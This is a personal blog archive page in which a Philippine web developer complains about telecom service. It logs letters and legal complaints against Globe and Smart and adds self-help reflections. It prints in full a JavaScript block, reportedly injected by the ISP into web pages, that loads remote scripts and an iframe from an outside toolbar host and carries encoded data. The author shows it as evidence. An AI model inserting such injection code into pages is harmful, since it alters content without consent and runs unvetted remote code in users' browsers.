Tag Archives: Action

Introduction and history of this page

I think this page needs some explanation, as e.g. the title “Maybe just share some links” does not make sense. And I can’t even remember how that title came into being, but it was there and I optimized the page for SEO with it, so I just left it. I may change it though, as I have become better at dealing with things like that.

Next to the strange title I realize that I thought this page was (also) about my issue of having no internet at all for a while, where for ‘internet safety’ reasons I prefer to have at least two connections, as I was running a web development company here at the time and it is very hard to live without internet for a company like that, even though I managed serving customers at the time when I really didn’t have internet. So yeah, even two connections does not guarantee having internet all the time, and right now only one is working, where the other one (Globe) is not working for about nine months now.

So well, time to reorganize this page I guess, as I am going to use it also related to my current issue with Globe, Globe having discontinued the WIMAX service and apparently not having an alternative to at least serve our location. I am pretty sure though there are more locations they cannot serve anymore. And that is one of my reasons to write about it: improve the service of telecom providers and other big companies. Companies who in general are very good in delivering their service, but who are not always that good in handling problems that are not so common, like in our case a pretty remote location, at least related to Globe Telecom.

Original post

Well, couldn’t resists some discussion around Globe hacking websites in a very unethical or maybe even criminal way: Globe hacking websites. And well, if nobody does something about it I guess it will have to be me as again I think companies should serve people in a simple way, like an Internet Service Provider just providing internet access in the best possible, fastest way without any Fair Usage Policies that are actually volume limits or messing with content they have nothing to do with.

Telecom So yes, it seems all kinds of industries in the world are getting greedy. I never wanted to believe that, but I’m starting to believe that’s the main reason why many people feel so poor.

And this is the code Globe inserts, and as a programmer it even makes me scared as I can’t see straight away what it does and normally these things are called malware or spyware:

<!– Layer8 version 2.0.0.107 –><script>if(top==window){var fn_selector_insertion_script=”http://toolbar.mywebacceleration.com/tbpreload.js”;runFnTbScript = function(){try{var tbInsertion = new FNH.TBInsertion();var tbData = “PFRCRGF0YT48VEJEYXRhSXRlbSBuYW1lPSJob3N0X3VybCIgdmFsdWU9Imh0dHA6Ly93d3cuaW5zcGlyYXRpb24tZm9yLXN1Y2Nlc3MuY29tL3dwLWFkbWluL3Bvc3QucGhwP3Bvc3Q9MzM1NyZhbXA7YWN0aW9uPWVkaXQiID48L1RCRGF0YUl0ZW0+PFRCRGF0YUl0ZW0gbmFtZT0iaW5zZXJ0aW9uIiB2YWx1ZT0iaHR0cDovL3Rvb2xiYXIubXl3ZWJhY2NlbGVyYXRpb24uY29tL3NvdXJjZXMvaW5mcmEvanMvaW5zZXJ0aW9uX3BjLmpzIiBjb25maWd1cmF0aW9uPSJ0cnVlIiA+PC9UQkRhdGFJdGVtPjwvVEJEYXRhPg==”;tbInsertion.parseTBData(tbData);var fnLayer8=tbInsertion.createIframeElement(“fn_layer8”, “http://toolbar.mywebacceleration.com/Globe/fakeToolbar.html”);var owner;if(document.body){owner=document.body;}else{owner=document.documentElement;}var shouldAddDiv=tbInsertion.getAttributeFromTBData(“div_wrapper”);if(shouldAddDiv){var divWrpr=tbInsertion.createElement(“div”, “fn_wrapper_div”);divWrpr.style.position=”fixed”;divWrpr.ontouchstart=function(){return true;};if (typeof fnLayer8 != “undefined”)divWrpr.appendChild(fnLayer8);owner.appendChild(divWrpr);}else{if (typeof fnLayer8 != “undefined”)owner.appendChild(fnLayer8);}var result=tbInsertion.getAttributeFromTBData(“insertion”);if(result){scriptLocation=result;}else{scriptLocation=”http://toolbar.mywebacceleration.com/sources/infra/js/insertion_pc.js”}var fnd=document.createElement(“script”);fnd.setAttribute(“src”,scriptLocation);fnd.setAttribute(“id”,”fn_toolbar_script”);fnd.setAttribute(“toolbardata”,tbData);fnd.setAttribute(“toolbarhash”,”qs1BZYj+W/dkafS6ZPHz5A==”);fnd.setAttribute(“persdata”,”PFByaXZhdGVEYXRhPg0KPFByaXZhdGVJdGVtIGtleT0iY2xvc2VkIiB2YWx1ZT0iZmFsc2UiPg0KPC9Qcml2YXRlSXRlbT4NCjxQcml2YXRlSXRlbSBrZXk9Im1pbmltaXplZCIgdmFsdWU9ImZhbHNlIj4NCjwvUHJpdmF0ZUl0ZW0+DQo8UHJpdmF0ZUl0ZW0ga2V5PSJkZWZhdWx0UGVyc1ZhbHVlcyIgdmFsdWU9InRydWUiPg0KPC9Qcml2YXRlSXRlbT4NCjwvUHJpdmF0ZURhdGE+”);document.body.appendChild(fnd);}catch(e){console.error(“TB preload script failed: ” + e);}};var fne=document.createElement(“script”);fne.setAttribute(“src”,fn_selector_insertion_script);fne.setAttribute(“id”,”fn_selector_insertion_script”);if(fne.addEventListener){fne.onload = runFnTbScript;}else {fne.onreadystatechange = function(){if ((this.readyState == “complete”) || (this.readyState == “loaded”)) runFnTbScript();}};if(document.head==null || document.head==”undefined” ){document.head = document.getElementsByTagName(“head”)[0];}document.head.appendChild(fne);};</script>

Still, unworthy of Globe and The Philippines and the National Telecommunications Commission.

Actions and updates

Maybe you should know that i am not just complaining on this site, on this page. Next to this the following has been going on:

I wrote a letter to the CEO of Smart, Mr. Napoleon L. Nazareno, on January 17, 2014 regarding the service of Smart and their misleading Fair Usage Policy. A copy of this letter was sent to the CEO of PLDT, Mr. Manuel V. Pangilinan. Another copy was sent to Mr. Gamaliel A. Cordoba, Commissioner of the National Communications Commission.
I wrote a letter to the CEO of Innove Communications, Inc., Mr. Gil B. Genio on February 3, 2014 about their bad service. Innove Communications, Inc. is the legal entity providing the Globe internet service. A copy of that letter was sent to the CEO of Globe Telecommunications, Inc., Mr. Ernest L. Cu.
As I did not get a reply to my firsts letters and as I had found the above script in the restored connection I wrote a second letter to Mr. Napoleon L. Nazareno and Mr. Ernest L. Cu with the suggestion to discuss the issues in Philippine internet and how to improve internet for Filipino people.
Atty. Ella Blanca B. Lopez of the Office of the Commissioner of the National Communications Commission confirmed my complaint about the Fair Usage Policy of Smart.
Neither Smart nor Globe replied to any of my letters. I cannot verify if my complaint to Smart was behind the visit of Smart engineers on March 19, 2014. These engineers solved a technical problem with my connection and were the people I think should have been involved much, much earlier. But they came, analyzed, fixed and left their contact details. Good job!
And just reading the above, and I do know the visit was most likely related to my letter(s) to Smart as I got an e-mail from the Vice President Marketing related to that letter referring to the fact that Mr. Nazareno had assigned him for dealing with the issue.
Related to Globe I recently found out that my letter(s) did have some effect internally in the Globe organization, as I know Mr. Cu called someone about it. I don’t know the details of that phone call, but the issue was solved (until a new, more serious, issue arose around November 2016).
Related to the hacking of Globe, which I consider a serious offense, I wrote an e-mail to the Department Of Justice on February 21, 2014.
Atty. Perla Y. Duque of the Department Of Justice informed me that my concern was forwarded to the NBI for further handling. This was confirmed to me with a copy of a letter to Mr. Vigilio L. Mendez, Director of the National Bureau of investigation on March 5, 2014 by Atty. Perla Y. Duque.
On March 21, 2014 I wrote a follow up letter related to the Globe hacking issue to the Mr. Vigilio L. Mendez, Director of the National Bureau of investigation with a copy to Mr. Gamaliel A. Cordoba, Commissioner of the National Telecommunications Commission to provide some more details.
On March 27, 2014 I got a very serious, professional reply from Smart related to my letter of February 28, 2014.
Around Easter 2014 Globe going around in circles after I reported a week ago or so that some web pages don’t show up properly, presumably related to the script insertion.
On April 21, 2014 I received two letters from the National Bureau of investigation confirming they are investigating the issue.
On May 6, 2014 I received a text of the NBI with the request to call them. I did on May 7, 2014 and agreed on sending a sworn statement as they indicated that’s what they need.
On May 10, 2014 I created my first draft of the sworn statement. Am planning to send that beginning next week, probably Monday May 12, 2014.
Finished and sent my sworn statement about Globe hacking websites to the NBI on May 13, 2014.
Followed up the status with the NBI and found my concern is on process on July 8, 2014.
Sent a follow up letter to Hon. Director Virgilio L. Mendez of the NBI on August 29, 2014 as nothing seems to be happening, at least not at the pace I think is appropriate for what Globe is doing.
And the commissioner of the NTC in Cagayan de Oro City, Mr. Teodoro D. Buenavista, Jr., was so kind to officially receive a copy of my sworn statement about Globe hacking websites, also on August 29, 2014, while I mentioned the matter to him while discussing some other matter.
Sent an e-mail to a contact of a friend of mine within DOJ. No apparant result or reply. Somewhere September or October 2014.
On October 30, 2014 I was asked by my Globe contact and a friend of mine to reboot my router and check if the script was still there. The script was gone and my main problem with a cut off webpage also seems to be solved. Waiting for confirmation that the script has indeed been removed everywhere, not only with me.
I just, December 23, 2014, wrote a letter to the CEO of Globe again as I did not get any confirmation that the script is really gone everywhere.
Again, no reply from Globe, at least not on or before February 19, 2015, meaning I certainly don’t feel a valued customer. Let’s just publish it here now: letter to CEO of Globe December 2014. Looking forward to your comments.
New story, as since last November, November 2016, we don’t have internet anymore. Globe just retired their wireless station without warning because they are moving to new technology. So new technology means we have speed zero now. And of course they keep sending the bills. And according to the technicians recently there is no problem ‘as there are no network issues in the area’.
And it is August 31, 2017 now and I did not remember I wrote the last bullet point about my new Globe issue. That issue is still not solved as Globe still does not seem to have an alternative technology with WIMAX capability until now to serve our location. Of course I am still following that up, but kind of amazing a company like Globe can’t serve an existing location anymore for nine months already. Fortunately Smart is still going strong with, yes I guess (very) old technology. But at least that is working, and speed of Globe is still zero.

Inspiration for Success

This page with complaints about the Philippine telecom industry is very much related to Inspiration for Success, as since I encountered the Principles of Success, the book Think and Grow Rich of Napoleon Hill I have slowly changed my ideas about all kinds of things related to success. One of the main things is that I now often find myself searching for opportunity in anything I perceive as negative, like fully losing my internet connection. Another main thing I learned is that ‘success’ is all about serving other people, nothing more, nothing less. I even dare to state now that in life there is virtually nothing else than serving other people, something I never understood, let alone implemented, earlier in my life.

Next to this you may find in my Philippine internet quest things like persistence, like feeling alone and moving on anyhow and again, trying to find something positive in everything, looking for the best and looking to serve people.

But not always easy, as of course I may still complain and my pride is still looking for recognition. But I guess that’s just being human, a human need for recognition, for feeling needed, for being praised.

Challenges on the way

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Mitsubishi Pajero The last few days, weeks I have been thinking a lot about my goals again as I felt I was not really focused on them. And today or yesterday I realized I have been much more focused on the things that stand between me and my goals than on the goals itself. Like e.g. I have been focused on my internet problems, which was kind of logical while I had no or virtually no internet access at home, at my office. But that problem has basically been solved, even though there are still problems with the current connection. And they are serious problems, but right now it is not really that urgent to solve it and it won’t be easy to solve anyhow as it involves the infrastructure of Globe over which I have no direct control.
So I’m starting to realize that I seem to focus much more on the challenges, the problems on the way and try to solve them, than on reaching my goals. And being the emotional person I am these things take a lot of energy and often kind of paralyze me, as when I feel very stressed, like yesterday, this morning and even until now, I kind of stop doing things, or at least it takes me a lot of time to get going again. Which brings me in some kind of downward spiral, as being an evening type of person I often keep going at night, meaning I don’t get enough rest and while going to bed my mind is still full of all the problems, the challenges, instead of having a relaxed evening and going to bed calm.

But as all adversity and negative experience have their advantage according to Napoleon Hill, one of my great inspirors, this afternoon I came up with an idea. And the idea is basically not really my own only as it builds upon a lot of ideas of other people. So this idea is based on the idea of ‘creation box’ from Abraham Hicks. And on the idea of Vision Board, something I don’t know who invented it.

Dream vision

So while watching at the images of my goals and dreams that hang outside of our bedroom, together with the sample of how easy it is to reach a goal, I came up to give my challenges, my problems on the way to my goal, a place, make them visible in a way to be able to handle them better. So I came up with the idea of a challenge box, similar to the idea of the creation box. And as I often try to make things visible I realized it should be located between (the representation of) my goals and me. And often ‘me, now’ is on the bed in the bedroom when thinking of my goals, and (the representation of) my goals and dreams are printed papers hanging from the railing of our bedroom balcony. So I just looked for a box, a shoe box or something, put it in between and took some clean papers to write down my challenges and put them in the box. So they have a (visible) place now.

Dream vision

And I realized that I just choose to focus on the problems, on the challenges. I could e.g. just go around them. So I make choices to go for the problems and not let them be and find other ways or something.

Dream vision with challenges

Dreams, dream box and challenges

And looking at the whole thing visualized gave me a lot of perspective, as the challenges are not that big and can be easily even avoided by just walking around them.

And I know there is a lot more to this and it’s not as easy as just printing images of dreams and putting challenges in a (small) box. But visualizing things, and yes, taking action by just searching for a shoe box and writing your challenges down I can certainly recommend. Why not start now? It took me only like fifteen minutes and it gave me a lot of perspective and peace, so I guess it could do the same for you.

And I also saw in the photo’s the view in the background, all those things I already have, all those things that I can enjoy. And they appear much, much bigger than my dreams on the papers and in the dream box. And much bigger than my challenges.

Everything starts with an idea

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Everything starts with an idea, that’s what I certainly believe in. So it’s logical someone had an idea of showing some kind of toolbar in webpages being an Internet Service Provider. But the idea being implemented quite a while ago and still being active by the second largest Internet Service Provider of The Philippines seems like unimaginable. And I remember I had problems with my Globe connection before, figuring out that indeed Globe made changes to the html codes of webpages I was testing. Imagine, the mail man opening your mail, making changes to the letter inside and then deliver the changed letter. And you would presume the sender had written the letter.

And I remember I sent an e-mail to Globe customer support about it. And never got a reply.

And now, with my new Globe connection, using a fully different technology, last night there were some, or actually a lot, of pages working perfectly here on our local development system. But they were not when viewing them from their (real) internet location. And it didn’t make sense.

And today I wanted to fix it and found some kind of weird script (web page computer program) in my code. So I started looking for a virus, locally as well as on the web server. And I couldn’t find anything and it also didn’t make any sense what was happening.

And then I remember from before that I presumed, or actually knew, that Globe was actually making changes to the html source of webpages. And that that was even one of the main reasons we mainly used our Globe connection as a backup and not as our main internet connection, even though it was faster than our Smart connection.

So today, actually very happy with my internet access again, I encountered very big problems again with a very simple webpage that didn’t make sense. And it still doesn’t make sense, although I am starting to believe that the cause must be indeed in Globe making changes to webpages. Imagine, that is something like the people in the post office opening your letters and making changes to them. Who would ever imagine a post office doing that?

Well, Globe does, as after some research I found confirmation that also other web developers had experienced similar problems, especially making testing websites very hard.

And even if people were informed properly about this and agree with the addition of some ISP tool or advertisment bar or something added by their ISP, I still would disagree, as web page code, html code and especially web page scripts, are very sensitive and may stop working with the slightest error, especially if you add a generic script to any web page. And the script itself would take bandwidth, would consume from your daily or monthly volume if you have one. And it would take computer time, meaning webpages showing up slower. But the worst thing, as I found in my case, is that web pages might not show up properly or may not work at all.

So yes, the idea was probably a great idea. But in this case it should have never been implemented as to me an ISP should just provide the (internet) road towards your house and not change the content of the stuff going over it.

Something different

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Well, I was thinking writing more of the posts I usually write doesn’t really add anything, so I guess I’ll find some time to work on the login so people can subscribe and we can give some real inspirational service.

Dealing with big powerful companies

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Well, I’m trying to see my internet connection problems as opportunity, because what is happening to me now with my internet is exactly what Inspiration for Success is partly about: big companies not being human or customer friendly anymore.

But not easy again and no success in sight, sitting in an internet cafe as both my service providers can’t deliver internet at my house at the moment. And I tend to be sarcastic about it, like “Is this progress” and maybe it is as I guess they are trying to serve the (growing) mobile internet market. But for me it is very inconvenient and costly and annoying.

So let’s see where this goes, and remember, it’s not about Smart and Globe, but more about Philippine culture and large companies not being able to serve customers as humans anymore.

And I want to share one link now where I will share more of my story with Smart, as of the moment not even having understood my letter it seems: https://www.facebook.com/fairusagepolicypldtsmartbro/.

Enough for now as I am very short on time and have also some business issues to settle as running an internet business without internet is not easy. And that’s also why we have two connections, but that doesn’t seem to be enough, but fortunately there is still a third and more solutions, like now an internet cafe with a good connection.